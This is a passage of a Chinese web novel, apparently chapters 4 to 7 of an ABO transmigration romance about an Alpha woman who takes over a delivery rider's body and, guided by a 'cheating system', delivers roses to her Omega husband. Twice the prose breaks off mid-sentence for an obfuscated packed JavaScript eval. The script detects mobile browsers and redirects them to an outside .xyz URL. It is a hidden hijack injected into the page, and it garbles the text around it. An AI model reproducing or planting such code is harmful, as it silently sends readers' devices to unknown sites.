高端难度的要点在于,穿前穿后都在路上,高危等待触发车祸,属于旧瓶砸碎了磨成粉,混进旧酒里晃了晃,揉巴揉巴捏出了四不像来—— 就成了现在这种,余见抒不得不怀疑是老天奶在故意搞她的情境。 * 患有信息素紊乱综合征、酒精浓度超标的女Alpha一出车祸,穿越了,睁开眼。 发现自己正跨坐在一辆突突突的小电驴上,以解速后40km/h的违禁标准在非机动车道上迎风飞驰。 千钧一发之际,全凭借余见抒惊人的临场反应能力—— 她立刻一松右手的电门,狠掐左手的刹车握柄,这才在人行道的路边停了下来。 “呼。” 然而,没等她嗓子眼儿口吊得高高的心脏重新沉回肚子里,紧接着—— “嘭”的一声巨响,后座里就猛地一推,害得余见抒磕巴一下,下巴撞在了电动车正前方的电量面板上。 “什么玩意儿?” 余见抒听身后的碰撞像是金属敲击声,转头,捂着齁疼的下巴往回看。 映入视野里的,是一辆拆出来的三轮车后车架子。 架身四面围了约30厘米高的银白色铝制挡板,正中央用军绿色的麻绳密集交叉,缠了很多圈,只为了能够稳稳捆住一捧巨型的艳红色玫瑰。 这束玫瑰之大,快有小半辆five菱宏光的剁椒鱼头电车的体型。 近千朵玫瑰,在花束里紧凑地朵朵挨着,每一朵上都喷了闪亮的晶粉,花瓣边缘贴了饰品类的米粒细钻,看上去奢靡繁盛极了,像一场丰富的视觉盛宴。 * “嚯。” 花先不管,余见抒转身回正,吐了吐气深呼吸,然后谨慎地扶着车头,双脚着地,岔开腿站着,屁股腾空起来。 然后跨过脚踏板上的红色保温箱,一收脚,先勾了下电动车的脚撑,等车身斜着立稳,她这才松手离开。 因为脑袋还一直陷在刚才被三轮车架撞击的眩晕当中,余见抒两眼发黑,视野里有小蚊子似的灰点时隐时现,胃里一阵作呕。 于是她只能放低重心,躬着身子,朝人行道台阶的方向磕绊走了几步,接着俯下弯腰手一撑地,就这么在马路牙子边,屁股一落席地坐了下来。 “这怎么个事儿唉。” 余见抒感觉到非常的不舒服,刚一抬手想揉揉脑袋,指尖却怼到了一个坚硬的塑料外壳上。 她一愣,震荡的脑袋缓了缓,摸摸头颅下沿那里绷紧的位置,好像有一根绳。 等艰难地拆开扣子,取下来看了,原来她戴着一个荧光蓝色的外卖头盔。 头盔地两个角竖着尖尖的袋鼠耳朵,后脑勺上蓝底白字地印了“吃了么”的无衬线加粗LOGO字样,扣在下巴上的头盔绳扯开,有一个贴合下颚骨形的半圆形塑料护盖。 再低头,几乎是顺理成章的,在这具陌生的矮小身体的胸膛上,穿着一件亮黄色马甲,胸口标识贴的“俏团”外卖。 这么说起来,她抬头一看,刚才骑电驴的时候摆在跨|下的红色保温箱,侧面也赫然是“妙送,最快30分钟到家”的广告标语。 余见抒一挑眉:“呦呵。” 原主这整得好呀,个人骑手勇争示范先锋,推动联邦三家外卖巨|头的基础配送资源重组,赋能跨装备的协调合作。 * “叮咚。”这个时候,用塑料支架和橡皮绳绑在电动车头的手机响了起来。 余见抒稍微抬了下屁股,伸长手臂勾了勾,从支架上扯开了橡皮筋,取下那一支厚度约2厘米、透明手机壳被用到焦黄了的杂牌手机。 她坐在台阶上,先摸索着举高手机,沉肩,下巴后缩,扫人脸识别,没有任何反应。 又摁了手机屏幕中下位置,摸了半天没有找到指纹解锁。 显然,原身的旧手机不具备这两个解锁功能。 那就只能输密码了。 余见抒把锁屏摁黑,先对着阳光斜照了照,看屏幕的手机膜上果然有指纹印。 比较幸运的是,在9键数字格对应的屏幕位置,有两点被磨损得最严重。 余见抒用穷举法试了一下,感谢原身没把锁屏密码给设计得有多复杂,她终于顺利地解开了界面。 “滴滴,订单即将超时,请抓紧时间派送。” 第一眼就是刚才弹短信的外卖接单后台,余见抒点开订单信息,只不过粗略一扫,就微微瞪大了眼睛。 |订单信息:至尊款高原荣耀999朵烈焰红玫瑰 |送达地址:联邦英大聿兴实验楼北门 |联系尾号:188-XXXX-1209 |收货姓名:林老师 |备注:如果能够成功让对方收下,外卖员可加wx打赏1000¥。 林奚因这个号码也巧,1209是余见抒的生日,当初第一次见面相亲的时候,她存联系方式还跟他提过一嘴,想不记住都难。 礼物、地点、姓名、手机号,都稳稳对上了,余见抒不由咂舌。 “求你收个花都能值那么多钱,林老师哎林老师。” * 等脑仁终于不再生疼,视线也恢复清晰了,余见抒才拍拍屁股站站起来,岔着两条陌生的短腿,终于有机会熟悉熟悉这具身体,再归纳一下信息。 首先是身高,视线与街道边的变电箱齐平,估计身量偏矮,约1m6上下。 其次是性别—— 胸口有软组织乳|腺堆积,下腹部小肚腩凸起,大腿根部的肥肉比较丰腴,大臂内侧和咯吱窝有软肉能隔着衣服捏到。 原地跳跳能感觉到胯骨之间空荡荡的,大概率没有唧。 基本能判定这是一名不怎么经常健身的普通女性Beta。 最后是身份—— 手机相册里有注册骑手的页面截图,因为登记的时候需要上传身份信息,所以相册里还保留了原身的身份证正反面扫描件。 原身姓名「简殊」,算算出生年月日,她才18岁,刚高中毕业没多久。 感谢这位,余见抒在备忘录里翻到了她的银行卡密码、签的出租屋合同备份、家庭关系等许多相关的基本信息。 显然,原身是对自己的身体忽然被穿这件事情有所预料的。 备忘录里一系列文字描述的周全程度,简直像是故意在给一个陌生人写这具身体的社会生活指南似的,生怕她哪里用起来不方便。 至于社交媒体、电话簿和通讯软件,原身几乎没什么聊天记录,列表里除了打工的店长、AAA房租中介之外,连同学和班主任之类的角色都找不到,更没有任何亲人的联系方式。 这样标准普通模版的原身,非常像在近几个月前的某一天突然刷新生成的罐头人类。 除了最基础的维持生计以外,她活成了一匹孤狼,将与外界人际关系的接触降到最低,力求能让继任者轻松接手。 * 等将现场和原身了解清楚,余见抒注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766664|174631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视着手机屏上的时间点,才缓缓沉声说:“事先预备好的身体,完全一样的地名和常用APP,几乎没怎么跳的时间线,以及一个送花给熟人的开场任务……” 一条条地罗列出来,余见抒试探性地对空气问了一声:“接下来该有一个系统给我做做说明了吧?” 出轨系统:【非常乐意,这是我的荣幸。】 电子音在脑海中忽然响起,就好像昨天晚上在酒店里,以及她失去意识穿越之前幻听的一样。 “果然。”余见抒重重地用手背抹了把脸,脸被搓得生疼,触感真实。 姑且先假定自己不是疯了,她继续问道:“既然现在换了一副新的身体,那我原来的身体会怎么样?” 出轨系统:【您闭上眼睛感受,主身体「李见抒」应该正处于昏迷中。】 余见抒闭眼,凝神聚气,果然能察觉到某一丝微弱的联系,可以隐约感受到那一具身体的处境。 「Alpha见抒」已经被120急救送进了医院,身体没啥大碍受了些软组织挫伤,正在呼吸均匀地平躺着。 此刻的「Beta简殊」还想再接着问,出轨系统礼貌地说:【稍等哈,我往您脑子里传一份说明,您可先浏览一下做个阅读理解之后再来找我答疑,那样效率会比较高。】 系统给的资料文本量挺大,跟醍醐灌顶似的,直接传输进来,余见抒甚至读到了一本狗血言情小说的简纲。 余见抒沉默了好半晌,才冷不丁地问了一声:“你是说,林奚因会出轨袁雅,而我一直在使阴招暗害他们,最后事情败露,我被报复到全家破产,身败名裂?” 出轨系统:【是这样的。】 观察到她一脸罐头居民NPC的和蔼微笑表情,出轨系统顿了一顿,补充问道:【请问有什么问题吗?】 “当然没有,”余见抒彻底理清了思路,甚至还夸奖道,“这个结果预测得非常准确,充分合理,完全可靠。” 出轨系统:【……】 出轨系统:【您本人的人设似乎比资料中记载的要表现得更冷静。】 “说清楚自然就没什么好慌的了。” 余见抒总结说:“你选中了我,让我多一具能自由操纵的身体。我替你刷满林奚因的100点出轨值,让你能绩效达标快点离开。” “等价交换而已,这很公平。” 事情到这个地步,她忽然拥有了「Beta简殊」的身体,又被系统寄宿在脑海里,木已成舟。 * 按照小说里给出的未来,林奚因是系统紧盯的男主,收集情绪能量的的对象。 而她是与男主有密切相关的恶毒女配。 如果别人绿了她,她会被整惨。 换她自己绿自己,好歹还能逆天改命一波。 按照系统所描述的这个意思,余见抒有不得不努力的理由,是最适合去刷林奚因出轨值的对象。 余见抒也无可无不可地点了头。 左右等事情一了结,她把系统送走,还能留下一具可以玩耍的新身体,简直一本万利。 到时候,进可攻,退可守。 就算她哥那会儿还在罚她,断着她的经济来源,以此勒令她老实听话,跟林奚因传宗接代。 那Alpha的身体绝育了,不还能换Beta上场吗? 反正只要她能够成功自己绿到自己,林奚因不出轨是她在睡,出轨也是她在睡。 他在婚内婚外无论跟谁搞,怀的都是她的孩子,余见抒不斤斤计较这些小节,只管抱崽子就行了。 5. 她哥她媳夫 联邦英大,校友宴会。 余见英免不了应酬,想要与他攀谈的人像阵阵潮水一样涌上前来,不曾停歇。 可是即便如此,在即将散场的时候,余见英还是尽量推了几句,将收尾的事留给这次随行的孙助理,然后脱身了出来。 “奚因。”余见英在长廊上叫住妹夫,却发现林奚因的手伸向左肩侧后,在调整信息素阻隔贴的位置。 这种时候被喊了一声,林奚因匆忙地侧过身来,回头望向他,带有几分局促地回应道:“学长。” 他还是习惯用着在校期间的称呼,两人从那时候结识起,到现在熟络成了舅哥与妹夫的关系,快有十来年了。 余见英不由莞尔一笑道:“刚才好几个Alpha擦肩而过都回过头来看你,还抬手虚掩了下鼻子,我就猜到是小抒那欠揍的,给你身上弄狠标记了。” Alpha虎牙一戳,往Omega的腺体里注射信息素,腺液就这样留在里面,成为了临时标记。 于是在接下来的一段时间里,Omega的腺体,也就是那一圈被嘬吸到肿胀的粉嫩凸起上,会慢慢地逸散出像汗水一样的小水颗粒。 Alpha腺液就这样汽化挥发了出来,形成一种充满侵占意味的独特气息,继而在被标记的Omega周身划定出一圈清晰的界限,用气味无差别攻击一切试图亲近他的Alpha。 当然,如果注射的量过于充沛,溢散而出,滑腻地凝结起来,那有时候就连信息素阻隔贴也挡不住了。 余见抒给他留下的临时标记就是这样的情况,为此,林奚因不得不频繁地抬手,重新摁紧滑落的阻隔贴,时不时还得去一趟气味隔绝室,更换新的贴膜。 然而,在听到余见英这么玩笑着轻骂了一句余见抒之后,林奚因还是下意识地维护起那个罪魁祸首,不假思索地从薄唇里吐了一声:“没。” 他回想到昨天在地库里,余见抒是标记了他,可那情形实在是仓促,更像是一时兴起,就把他摔进车里,跟撒气似的往他身上咬。 林奚因曾经无数次幻想过他第一次被标记的情景,其中不乏一场浪漫的约会、几句郑重的告白,再来是数十分钟暧昧的前|戏。 然而一切都潦草收场了,不管是三年前他在新婚的初|夜以后被抛下,还是三年后他被强啃了半个临时标记,跟玩物似的戏弄过了就不管。 但即便这样草率的身体接触,林奚因也都是心甘情愿的。 只发单音或许会有歧义,林奚因紧接着补充了语意说:“她不是故意弄的。” “还偏袒她呢?”余见英挑眉,“难不成,昨天你俩有点儿新进展了?” 林奚因顿了顿,说:“还是跟原来一样。” 昨天到家之后,他斟酌了好几次词句,鼓起勇气给她发了一条消息,问她有没有空晚上一起在东湖湾吃晚餐。 可是就像意料之中的那样,林奚因在厨房烹煮蒸炸,倒腾了几个小时,又空守着一桌子丰盛的菜肴,一个人枯耗着,静坐到了大半夜。 直到现在,她也没回他的消息。 林奚因思索着,轻声说:“她心里不情愿的,我也没必要再去刻意强求。” 林奚因原本就不算是个主动派。 要说婉拒追求者,他应对得挺娴熟,可要让他去热脸贴冷屁股,哪怕对象是余见抒,他也只能磕磕绊绊地做下来,结果还总是落空。 也恰恰因为对象是余见抒,落空早成了惯例,毕竟林奚因暗恋她已经很久了。 暗恋的开始,最早可以追溯到高中那一次,他被她扔进泳池里。 呛喉,窒息,慌乱的扑腾,耳孔的混沌翻涌声,害怕到紧闭了双眼的黑暗。 她又亲自把他从水里捞起来。 他还记得她脸上恶劣的神情,恶作剧的坏笑。 她像是发现了有趣的新玩具似的看着他,新奇地掐着他的脸,端详说:“呦,打湿了倒还挺好看的嘛。” 就这么随意夸奖了一句,接着,她像奖励似的,轻飘地落下了一个吻。 初吻,林奚因惊讶地瞳孔骤缩,睁大了眼睛。 这一瞬间,所有的感官都消失了。 他呛水才刚猛烈咳嗽过的喉咙疼痛,他急促呼吸的灼热,头发被冷水浸湿贴合在脑袋上的冰凉—— 所有的一切都化作了静默,只剩下唯一一处柔软的唇瓣,那细微的触感被放大到极致。 是吊桥效应,还是见色起意,自那以后,林奚因几乎怀疑他患上了斯德哥尔摩。 他痴迷地注视着她,像是自|虐一般地隐藏起来,隐匿在她所忽略的一切角落,窥探。 他故意跑到她的楼层,三番四次路过那个班级,假装不经意地扫视,其实是在人群中梭巡视线,想多看看她。 他想方设法打探消息,升学后,最先申报进了余见英所管理的社团,拿绩点最优,抢名额进余见英在的实验室,在她哥面前极力表现。 后来林家要跟人联姻,还有比余家让利更多的竞争者,是他跟家里执拗,非要嫁给余见抒,甚至撒谎说自己倒贴,清白早就没了。 昨天临下车,他悄悄带走了她塞在格子手包里的一支唇釉,她向来粗心健忘,或许到现在都还以为是在哪儿掉了,又或许是半点儿没发现。 偷|窥、撒谎、盗窃,动物本能的冲动彻底战胜了道德和自尊,林奚因这辈子所有非理性的失控行为,都与余见抒有关。 可到现在,林奚因哪怕再感情强烈,他显露出的都只能是冰山一角,他怕吓跑了他,于是更不敢强求,怕一往余见抒身上多使些纠缠的劲儿,她转身就拽断绳子逃走了。 “那就真是可惜了,”看林奚因一脸灰心丧气的神情,余见英意有所指地暗示说,“刚才我收到消息,说小抒一会儿要特意过来接咱们,我还当能给你俩创造机会呢……” 林奚因稍微有些惊讶:“怎么会……” 众所周知,余见抒是个随心所欲的懒蛋,除了跟小情儿玩耍、跟她哥伸手要钱这两件事之外,她向来是能躺着就不坐着。 像这种当司机的活儿,吃力不讨好,要不是迫不得已,她怎么着都不会自告奋勇去做的。 “当然是有求于人了,”余见英胸有成竹地眯了眯眼,笑着说,“她把身体玩坏了,还这么长时间都撂着你,如果只是轻轻罚一下的话,哪里够让咱们好学弟消气呢?” 林奚因垂眸说:“我没有在生她的气。” “那你也想让她能多抽些时间出来,好好陪陪你吧?”余见英压低了声音说,“别口是心非了,奚因,你特意每晚都开车回家,睡在「东湖湾」的婚房那里,不就是为了等小抒吗?” 余见英也希望妹妹能早点收心。 同样是涉及到私生活愉悦,比起让她在外面乱搞,至少林奚因的品行他是知根知底的。 再进一步讲,林家也更适合被他控制在股掌之间,算是变相保证了小抒的安全,让她不受半点委屈。 “……”林奚因沉默了片刻,没能轻易否认。 这么一寻思,余见英胸有成竹地拍了拍妹夫的肩膀,小声说:“放心 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可即便她连抄了好几条小路,七拐八绕地一路紧赶慢赶,当简殊最终抵达「聿兴实验楼」的那一刻,APP上也已经显示超时了。 “哎呀你怎么才来?”袁雅的闺蜜Andy急得直跺脚,招呼说,“我打了好几个电话催你都这么慢,小广场已经被Selina她们给占满了。” 简殊立刻环视了一圈,不由咋舌说:“就这也搞内卷?” 只见实验楼门口,道路两旁停了一溜豪车,中央宽阔的小广场直接被弗洛伊德玫瑰给铺满了,周围竖起花架和气柱,缠了许多丝带和气球。 放眼望过去密密麻麻,连下脚的缝隙都没有,学生们驻足凑热闹,举着手机拍照旁观。 同样是送花,相比起这种一整片轰轰烈烈的花海来,她身后小车里才999朵一捧的玫瑰,难免有点小巫见大巫了。 “显然,袁雅并不只有我这一个闺蜜,”Andy没好气地耸肩,摊了摊手说,“本来你再来早一点,还能有机会凑到前面去,说不定就送到花了。” 像大多数圈子里受宠的孩子那样,袁雅身边从来不缺簇拥者。 像Andy、Selina这样有意挤进圈层的年轻人,她们替她发论坛定计划、挑妆造师、选烟花方案、摇人烘托气氛,甚至连玫瑰也要抢着订了布下花阵,只为了能获得袁雅的青睐,成为她最亲密的好友。 “那估摸着也够呛。”简殊一听,顺嘴轻笑了声说。 摆阵仗告白而已,袁雅无非就弄了点玫瑰、豪车和烟花,挑了个宴会结束的时机想把林奚因堵在门口,让他避无可避。 余见抒用惯了的招式,她从前游艇出海、直升机跳伞的时候,先把漂亮宝贝哄到一个焕然全新的特殊环境,再说几句情话唬唬,总归是怎么刺激怎么来。 一点点小场面而已,林教授在她家见过多少钱了,哪里还会被这种小年轻的炫技给感动? Andy沮丧地说:“我就知道,凭我这么少的零花钱,根本不应该在这种时候往上凑。” “倒也不一定。” 简殊一寻思,掂量了一下她这具身体的银行账户里现有的三位数余额,反问道:“反正只管我送到了,他收下不就行了?” 超时扣款扣就扣了,简殊问她备注里写的话还算不算数。 Andy愣了愣,回答说:“一千块钱而已,我也不至于赖你的帐。” “那就这么说定了。”简殊一口应下,别有深意地笑了笑。 6. O单散打冠军 英大这次校友会是重量级的,来了几位联邦军方和内阁的大人物。 为此,安保警卫把通讯信号都给屏蔽了,只有走出宴会场区域,出了警戒线,才能找到引导员,重新从保险箱里取出对应邀请函编号的终端设备。 然而,袁雅告白这么大张旗鼓,不说林秘书大概早早通知了他家总裁,光余见英和林奚因一出了宴会厅,不需要多看消息—— 从另一幢高楼上俯视,就能眺望到实验楼门口那一座热闹的小广场。 “这么多花占用公共场地,学校批准她的报备了吗?”罐头同学问。 “这是校园公益活动,弱势性别关怀周。”袁雅的好友Selina微笑着解释说。 “从今晚八点起,烟花仪式结束之后,任意一位女ABO和男O在场,只要扫码关注英大公益协会的WeChat公众号,都能够免费领取一支玫瑰,还有更多精美奖品哦。” 符合情理的来讲,林奚因也是本次公益的关怀人群之一。 宣传的告示牌UI制作精美,小游戏打卡点的长桌聚满了同学,协会成员身着整齐划一的蓝白色制服,还专程请了播音系的同学举着小喇叭声讲解,热情洋溢。 侧围,美食街联动推出了小吃集赞摊位,响应英大公益协会。 靠尽头的位置,还清出空台子来,架设烟花炮|架和防火设施,现场秩序井然,俨然成为了一场同学们自发组织的大型庆典。 教育部出席的几位小领导见了,纷纷赞不绝口。 场外通道那里,守着几个蓝白短裙的年轻女生,她们一直在有意无意地往里张望,耳朵上戴了麦,腰上别了对讲机。 “林教授出来了没?”耳麦里传来Selina的问话声。 “还没。”距离警戒线最近一段位置的女生摇了摇头说。 紧接着,Selina那边稍微嘈杂了一阵,她很快着急地说:“遭了,侧门那边疏散人流,新开了一个退场通道。” * 侧门,架空层。 正是校园安保部的警备人员响应了林教授的要求,将楼栋之间的架空层悬梯的门锁给打开,即时引导宾客离场。 “不准备看完烟花再走了?”余见英陪在林奚因身边缓步出来,揶揄他说。 林奚因摇了摇头。 比起烟花会后那一场早有预谋的盛大告白,他更在意的是,余见英之前提起过的—— “她大概什么时候会来……接我们?”林奚因问道。 宴会接近尾声,早就临近散场了,烟花仪式也即将开幕。 照理说这个点儿,换作是林秘书叮嘱过的司机的话,驾驶员早就已经等候在外了。 然而,从「聿兴集团」总部开车到「联邦英大」得有点儿距离,尤其是赶上中心区限单双号的时候,就只能往外环绕。 余见抒那不着调儿,半程还不知道会停在哪里抽根烟呢,所以就算晚一点赶过来,也符合常理。 “这么惦记呀,要不然……你自己问问她?”余见英微笑着,摇了摇手里的终端。 他们刚从礼宾那儿的保险箱里取来了手机,还没开机。 林奚因的嘴唇轻轻嗫喏了一下,正要说些什么,通道旁,却忽然窜上来的一个人影,将他的思绪给打断。 “先生您好,有货送到,请跟我来。” 简殊才不给他半点停顿的余地,擒着林奚因的胳膊,直接把人拽进电梯里。 然后迅雷不及掩耳的,她以极快的手速狂摁,猛戳关门键。 在电梯门关闭的几秒钟之间,穿过逐渐变窄的缝隙,衣着体面的余见英在外面站着,简殊礼貌地冲他一个微笑道:“不好意思,您等下一趟哦。” “噔。” 银白色的金属制电梯门合上,轻微的失重感从脚下升起,狭窄的空间里,只剩下林奚因和简殊独处。 “是谁让你过来的?这样做是不是有些不太礼貌?”林奚因甩开臂膀上的手,稍微有些不悦地说。 刚才林奚因应接不暇,只来得及看到一抹映入眼帘的亮黄色,就被强拉着进来。 等站定了定睛审视,他才发现,眼前的人是一个身穿骑手制服的陌生Beta女性。 “啪”的一声脆响,简殊被毫不客气地拍开手掌。 轻微的一小片火辣的疼痛感传来,倒是让她眼皮一挑,稍微感到有些意外。 姓林的居然会反抗? 不说以前,光昨天她亲他那一阵,林奚因顶多也就稍微推了推她的肩膀,那点子动静,轻得像弹棉花似的,只会让她痒痒。 她当Alpha当久了,早习惯了身边人优容的对待—— 动动嘴随意支使,就能有人鞍前马后,哪怕强势一些,强硬动手把人拉到怀里来,那些小B或小O也只会红着脸求她稍微轻点儿。 没想到只是换了一具身体,换了一个Beta性别,居然开始有人呵斥她不礼貌了。 林奚因在「Alpha见抒」面前那么温驯的一个男O,应付外人的表现倒是有棱有角的。 简殊不由好笑,反问道:“你希望是谁?” “我没有义务回答你这个问题。”林奚因冷飕飕地直视她说。 简殊问:“那如果我送的是花呢?” 林奚因终于了然,几乎能断定这Beta骑手是哪位追求者叫来的,一口回绝说:“我不收花。” “谁送的你都不收?”简殊问,“哪怕配偶订的也不行?” 被当面这么一问,林奚因顿了顿,垂眸,率先否定说:“……她不可能给我送花的。” “叮咚——” 电梯终于到了,楼栋侧西面的一楼,出来是一小片开阔的临湖观景台,大理石地磨得锃亮,光可鉴人。 林奚因不再停留,越过一旁盛满花束的电驴小三轮车,长腿一迈,径直往外走。 夕阳的余晖终于收敛,天色渐晚,光线迷蒙。 这里在「聿兴实验楼」的斜旁,楼栋群林立,一角恰好遮挡了漫天的烟花,流光溢彩的火花星点亮起,骤然照亮了他修长的背影。 “喂。” 简殊再次拽住他,扯得林奚因回头看过来,她才仰头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766666|174631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,勾起嘴角笑了笑。 “林教授,应该心里有喜欢的人吧?”简殊问。 林奚因厌恶地瞪了她的手臂一眼,皱眉道:“放手,你越界了。” 简殊却不疾不徐地,继续问道:“她对你怎么样?你总该体验过一些爱而不得,所以才难受的滋味吧?” 林奚因说:“我最后警告你一次。” 简殊不依不饶地注视着他:“别人只是给你点了一束花,可我却足足骑了十公里,所以你说什么是爱情?” * 简殊是有恃无恐的,她笃定林奚因喜欢她,所以才故意往「Alpha见抒」的话题诱导。 这么算计让林奚因收下花—— 一是为了拿到Andy许诺的那1千块钱,好让「Beta简殊」付得起下个月的房租。 二来,也是为了靠这一次在林奚因这儿刷下脸,给他留一个深刻的印象。 不然,这可是系统赠送的唯一一次跟林奚因相识的机会,等过了这村没了店,林奚因一个大学精英教授的Omega,她一个高中毕业辍学打工的女Beta,茫茫人海上哪儿都得找借口才能偶遇。 简殊设想得很好,可她漏算了Omega的自卫反击权,以及林奚因是他哥那一届的O单散打冠军。 “嘭!” 一个过肩摔,简殊只觉得视线上下颠倒,紧接着就被林奚因反钳着手臂,倒扣在了大理石地砖上。 那一刻的钝痛感不亚于车祸,她几乎以为差点又要回到「Alpha见抒」的身体,在医院醒来,然后寻思着怎么让「Alpha见抒」跟「Beta简殊」对齐口供。 “你说的她……是谁?”林奚因完全略过这个Beta口中什么爱情不爱情的胡话,只是毫不留情地压制着她,低声逼问说。 “还能有谁?你妻主啊。” 简殊想还手,可她腰使不上劲,感觉浑身都是软肉,像一条上了岸打摆子的锦鲤似的扑腾,简直毫无还手的余地。 没想到做Beta那么憋屈,连个男O都打不过。 林奚因停住,错愕地问:“你认识见抒?” “嘶,痛痛痛。”简殊大声叫唤,“这下她让我送的花……你总肯收了吧。” 【叮!攻略对象「林奚因」出轨值+5!当前出轨值:5】 只要林奚因认清楚她的脸就能给5点值,算是给简殊的辛苦点数。 林奚因冷哼一声:“在对一个Omega动手动脚之前,你就应该事先预想到这样的事情。” 花他是准备收下了的,林奚因拿出手机长摁开机键,等着打电话给实验室的助手,让人来搬小三轮车。 头顶的烟花还在砰砰然作响,这么绚烂的浪漫情景,简殊揉着胳膊肘坐在地上,煞风景地号丧,试图从林奚因那里讹点钱。 然而,就在这个时候,观景台侧的电梯门开,余见英难得步履急促地冲了出来。 “奚因!”余见英神情严肃地说,“小抒在一小时前刚刚出了车祸,现在已经进医院了。” “什么?”林奚因愕然。 7. 这样对身体不好 中心区,联邦聿兴医院。 「Alpha见抒」被紧急转移到这里,院长火急火燎地赶到VIP病房,先叮嘱了她的主治医生,才领着下属一同去接待室解释情况。 “余总,”院长额头冒汗说,“患者在车祸后被路人叫救护车送到了最近一处的小型医院临时安置。” “那边进行了最基本的Alpha人道主义治疗,等申请联邦信息系统的公员过去,人脸识别出结果之后,才联系的直系亲属。” “……所以就耽搁了一段时间,”院长小心翼翼地观察余见英的神情,生怕得罪了这位手握重权的集团董事,“幸好,患者生命体征平稳,无明显外伤,初步判断是「信息素紊乱」导致的昏迷。” 余见英问:“她大概多久才能醒?” 主治医生摇了摇头:“这种病症比较罕见,现有的病例不多,具体的昏睡时长和规律我们也需要进一步观察才能确定。” 说白了就是,余见抒随时可能睡,也随时可能醒。 这实在是给她找了个好借口。 * 英大那边,「Beta简殊」目送着余见英和林奚因两人匆匆离开。 接着等林教授实验室的李助手过来,将玫瑰花从小电驴后的三轮车架搬到了李助的小拖拖车上,她还厚着脸皮跟人加了个微信。 李助对这个笑意盈盈、脸蛋圆圆的Beta女骑手挺有好感的,他一边当面通过了验证消息,一边说:“这还是林教授第一次收别人送的花呢。” 简殊听他这一番话,那欣慰的语气,感觉像是听到了霸总文里的管家在旁白“少爷已经很久没有笑过了”一样。 她不由得意地拍拍李助的肩膀说:“放心,以后还不止这点儿子事呢。” 李助:“……”虽然但是,林教授已经结婚了啊。 Andy自然也认识李助,他是她的研究生学长。 Andy收到定位赶过来,站在稍微远的位置,亲眼目睹了李助把花拖回实验楼。 而简殊则轻松地倚靠在墙边,重心倾斜,随性地朝她挑了挑下巴。 Andy喜出望外,立刻拍了一张李助拉小拖车玫瑰花的背影,把照片发到群里,然后集资给了余见抒一个翻倍的劲爆红包。 简殊:【叮!「Beta简殊」到账+2000¥,当前存款余额:2071¥】 系统:【……】 系统:【请不要模仿我说话。】 简殊微笑:【乖,该把身体换回去了。】 按照系统的解释,要想同时操控两具身体自由活动,余见抒得先锻炼锻炼精神力,至少学会最简单的“左手画方、右手画圆”,到闭着眼睛游刃有余了才行。 所以现目前,她只能保持一具身体清醒,另一具身体昏迷的状态。 贸然转换,容易再像第一次被系统强制那样,行驶途中宕机,在大街上出车祸。 新身体的养护也很重要,为了避免吹风着凉,简殊避开巡逻的保安,轻车熟路,只抬脚溜达了两步,就找到了一间没锁门的教室,在隐蔽的角落里横躺下来。 闭上眼睛,深呼吸。 【叮!】 【「Beta简殊」已休眠,「Alpha见抒」启动!】 再一睁眼—— 无主灯照亮的天花板,月牙暖色的光线,身下柔软的床褥,她动了动手脚,一个鲤鱼打挺坐起来,又感受到腰腹部的肌肉传来一股股勃|然的力量。 这就回到了熟悉的身体——「Alpha见抒」。 * 重新成为了占据性别优势尖端的Alpha,那种自由自在的嚣张感觉真是太美妙了。 余见抒从病床上跳下来,踩着拖鞋,穿着一身浅蓝白条纹的病患服,先是蹦跶跳了两下,再扭扭腰杆,拉伸躯体。 等浑身都舒展了,她才摁响了床头的护士铃。 主治医生和护士很快就鱼贯而入,神情稍显焦急的林奚因紧随其后。 “妻主。”林奚因关切地凑过来,仰起头细细看她。 难得他不再板着那一副生人勿近的冰块脸,无意间泄露了几分关切的焦急神色。 “呦。”刚才眼一闭,现在眼一睁,见的都是林奚因这同一个人,跟重逢似的,余见抒轻快地打了个招呼。 医护人员推着小推车进来做例行检查,等医生摘了听诊器,诊断说暂时没什么大碍,余见抒才挥挥手让他们出去,只留她和林奚因妻夫俩独处。 林奚因当然是不善于主动开口的,他的视线一直静默地守着她,观察她的一举一动。 余见抒也没太拿他当回事儿,从外套的兜里掏了一包烟,推开玻璃门,抬脚去了阳台上。 今天晚上,很好的月光。 余见抒向前扑在栏杆上,倚靠着,俯瞰楼下的车流,一缕缕烟雾的弥散出来,被风吹过消弭在夜空中。 这里的夜景不如「栖庭」,而陪她住那里的兰斯也已经回了帝国「圣约州」。 “啪嗒。” 余见抒叼着一根烟,刚点燃打火机,才抿了一口,火星子一闪,忽而就灭了。 是林奚因从她屁股后边跟了出来,轻轻将烟从她掌心里抽走,在岩石烟台上摁熄。 林奚因说:“这样对身体不好。” “就只会说这一句?”余见抒觉得好笑,“你还管上我了?” 在英大的时候对她爱搭不理,这会儿又眼巴巴地凑上来。 “……” 果然,这个时候林奚因沉默不语。 “花收到了吧?”余见抒故意靠近,端详他的脸色。 “嗯。”林奚因的鼻尖嗅到了淡淡的酒香,没有躲闪,乖巧地点了点头。 余见抒又问:“我哥呢?” “他有事,先回公司了。” 为了提前布局联邦未来的发展战略,赶上即将到来的大规模晶石开采勘探浪潮,「聿兴集团」正处于加速扩张期,下辖除了在如火如荼进行改革的本部之外,新融资成立了几家晶石新能源设备业务的子公司。 综上所述,余见英平日里基本上忙得脚不沾地,严格按照8\11\7的工作制来安排日程,严于律己。 